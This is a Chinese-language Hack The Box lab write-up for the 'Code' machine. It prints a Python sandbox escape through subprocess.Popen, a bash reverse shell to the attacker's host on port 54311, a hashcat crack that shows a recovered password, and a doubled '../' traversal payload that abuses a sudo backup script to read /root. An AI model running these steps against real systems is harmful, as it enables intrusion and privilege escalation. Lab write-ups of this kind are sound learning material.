HTB——Code
0x01 信息收集
┌──(root㉿kali)-[/home/kali/TscanClient_linux]
└─# ./TscanClient_linux_amd64_v2.7.4 -h 10.129.246.171 -p 1-65535 -t 800
_____ ___ _
/__ \ ___ ___ __ _ _ __ / _ \| | _ _ ___
/ /\// __| / __| / _' || '_ \ / /_)/| || | | |/ __|
/ / \__ \| (__ | (_| || | | |/ ___/ | || |_| |\__ \
\/ |___/ \___| \__,_||_| |_|\/ |_| \__,_||___/
https://github.com/TideSec/TscanPlus
TscanClient Version: 2.7.4 NewVersion: 2.7.4 Expired: 2026.01.01
[09:20:40] [INFO] Start IpScan:10.129.246.171
[09:20:40] [INFO] 开始扫描 1 个主机的 65535 个端口,共 65535 个任务
[09:20:46] [+] 10.129.246.171:5000 open
5000端口开放了一个python代码在线运行环境,ban掉了大多数的危险函数。但我们可以从builtins
内建模块重新获取popen
方法进行RCE。使用enumerate
先将子模块全部打印出来并标号
for i,v in enumerate(''.__class__.__bases__[0].__subclasses__(),start=0):
print (i,v)
拿到如下的模块列表。观察到popen
位于索引317处。注意使用curl
来查看完整的返回包内容或使用burpsuite,网页不支持下滑。
0: <class 'type'>
1: <class 'weakref'>
2: <class 'weakcallableproxy'>
3: <class 'weakproxy'>
4: <class 'int'>
5: <class 'bytearray'>
6: <class 'bytes'>
7: <class 'list'>
8: <class 'NoneType'>
9: <class 'NotImplementedType'>
10: <class 'traceback'>
11: <class 'super'>
12: <class 'range'>
13: <class 'dict'>
14: <class 'dict_keys'>
15: <class 'dict_values'>
16: <class 'dict_items'>
17: <class 'dict_reversekeyiterator'>
18: <class 'dict_reversevalueiterator'>
19: <class 'dict_reverseitemiterator'>
20: <class 'odict_iterator'>
21: <class 'set'>
22: <class 'str'>
23: <class 'slice'>
24: <class 'staticmethod'>
25: <class 'complex'>
26: <class 'float'>
27: <class 'frozenset'>
28: <class 'property'>
29: <class 'managedbuffer'>
30: <class 'memoryview'>
31: <class 'tuple'>
32: <class 'enumerate'>
33: <class 'reversed'>
34: <class 'stderrprinter'>
35: <class 'code'>
36: <class 'frame'>
37: <class 'builtin_function_or_method'>
38: <class 'method'>
39: <class 'function'>
40: <class 'mappingproxy'>
41: <class 'generator'>
42: <class 'getset_descriptor'>
43: <class 'wrapper_descriptor'>
44: <class 'method-wrapper'>
45: <class 'ellipsis'>
46: <class 'member_descriptor'>
47: <class 'types.SimpleNamespace'>
48: <class 'PyCapsule'>
49: <class 'longrange_iterator'>
50: <class 'cell'>
51: <class 'instancemethod'>
52: <class 'classmethod_descriptor'>
53: <class 'method_descriptor'>
54: <class 'callable_iterator'>
55: <class 'iterator'>
56: <class 'pickle.PickleBuffer'>
57: <class 'coroutine'>
58: <class 'coroutine_wrapper'>
59: <class 'InterpreterID'>
60: <class 'EncodingMap'>
61: <class 'fieldnameiterator'>
62: <class 'formatteriterator'>
63: <class 'BaseException'>
64: <class 'hamt'>
65: <class 'hamt_array_node'>
66: <class 'hamt_bitmap_node'>
67: <class 'hamt_collision_node'>
68: <class 'keys'>
69: <class 'values'>
70: <class 'items'>
71: <class 'Context'>
72: <class 'ContextVar'>
73: <class 'Token'>
74: <class 'Token.MISSING'>
75: <class 'moduledef'>
76: <class 'module'>
77: <class 'filter'>
78: <class 'map'>
79: <class 'zip'>
80: <class '_frozen_importlib._ModuleLock'>
81: <class '_frozen_importlib._DummyModuleLock'>
82: <class '_frozen_importlib._ModuleLockManager'>
83: <class '_frozen_importlib.ModuleSpec'>
84: <class '_frozen_importlib.BuiltinImporter'>
85: <class 'classmethod'>
86: <class '_frozen_importlib.FrozenImporter'>
87: <class '_frozen_importlib._ImportLockContext'>
88: <class '_thread._localdummy'>
89: <class '_thread._local'>
90: <class '_thread.lock'>
91: <class '_thread.RLock'>
92: <class '_io._IOBase'>
93: <class '_io._BytesIOBuffer'>
94: <class '_io.IncrementalNewlineDecoder'>
95: <class 'posix.ScandirIterator'>
96: <class 'posix.DirEntry'>
97: <class '_frozen_importlib_external.WindowsRegistryFinder'>
98: <class '_frozen_importlib_external._LoaderBasics'>
99: <class '_frozen_importlib_external.FileLoader'>
100: <class '_frozen_importlib_external._NamespacePath'>
101: <class '_frozen_importlib_external._NamespaceLoader'>
102: <class '_frozen_importlib_external.PathFinder'>
103: <class '_frozen_importlib_external.FileFinder'>
104: <class 'zipimport.zipimporter'>
105: <class 'zipimport._ZipImportResourceReader'>
106: <class 'codecs.Codec'>
107: <class 'codecs.IncrementalEncoder'>
108: <class 'codecs.IncrementalDecoder'>
109: <class 'codecs.StreamReaderWriter'>
110: <class 'codecs.StreamRecoder'>
111: <class '_abc_data'>
112: <class 'abc.ABC'>
113: <class 'dict_itemiterator'>
114: <class 'collections.abc.Hashable'>
115: <class 'collections.abc.Awaitable'>
116: <class 'collections.abc.AsyncIterable'>
117: <class 'async_generator'>
118: <class 'collections.abc.Iterable'>
119: <class 'bytes_iterator'>
120: <class 'bytearray_iterator'>
121: <class 'dict_keyiterator'>
122: <class 'dict_valueiterator'>
123: <class 'list_iterator'>
124: <class 'list_reverseiterator'>
125: <class 'range_iterator'>
126: <class 'set_iterator'>
127: <class 'str_iterator'>
128: <class 'tuple_iterator'>
129: <class 'collections.abc.Sized'>
130: <class 'collections.abc.Container'>
131: <class 'collections.abc.Callable'>
132: <class 'os._wrap_close'>
133: <class '_sitebuiltins.Quitter'>
134: <class '_sitebuiltins._Printer'>
135: <class '_sitebuiltins._Helper'>
136: <class 'types.DynamicClassAttribute'>
137: <class 'types._GeneratorWrapper'>
138: <class 'warnings.WarningMessage'>
139: <class 'warnings.catch_warnings'>
140: <class 'importlib.abc.Finder'>
141: <class 'importlib.abc.Loader'>
142: <class 'importlib.abc.ResourceReader'>
143: <class 'operator.itemgetter'>
144: <class 'operator.attrgetter'>
145: <class 'operator.methodcaller'>
146: <class 'itertools.accumulate'>
147: <class 'itertools.combinations'>
...
317 <class 'subprocess.Popen'>
我们使用popen
进行RCE反弹shell。注意popen
的执行格式,调用/bin/bash
,添加-c
进行后续指令的执行。
''.__class__.__bases__[0].__subclasses__()[317](
["/bin/bash","-c","bash -i >& /dev/tcp/10.10.xx.xx/54311 0>&1"]
)
拿到我们的第一个flag
0x02 特殊脚本提权
find没有找到可疑指令,sudo下也没有可疑的特权。发现生产目录下有可以目录instance
,内部有数据库文件database.db
。python开个服务下到我们的主机上。发现内部有部分账号和密码hash。用hashcat
爆破一下。
PS S:\tools\hashcat> .\hashcat.exe -a 0 -m 0 3de6f30c4a09c27fc71932bfc68474be rockyou.txt --show
3de6f30c4a09c27fc71932bfc68474be:nafeelswordsmaster
拿到密码后我们切换用户martin,再次查看有无特权。
martin@code:~/backups$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
毫无疑问backy是突破点。我们查看一下backy.sh
的逻辑,看看它的功能。
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
给指定目录进行备份,且在备份前会检查目录结构,只允许开头为/var
与/home
,且会自动删除目录字符串中的../
防止目录穿越。但此删除逻辑仅会执行一次。目录穿越+双写绕过即可。
{"directories_to_archive": "/var/..././/root","destination": "/tmp"}
注意此json要先使用普通模式过一遍backy.sh
,再使用sudo
提升到该用户的特权模式跑一遍才可以运行。在指定目录下生成tar.gz
压缩包,下载下来就有flag了。
0x03 总结
很常规的一个靶机(太菜了只能先打打easy qwq).常规的Linux提权思路算是学到了一点,从数据库文件薅出来账密纯属意外,本身是想把源码都拉下来做个备份的,没想到还有惊喜。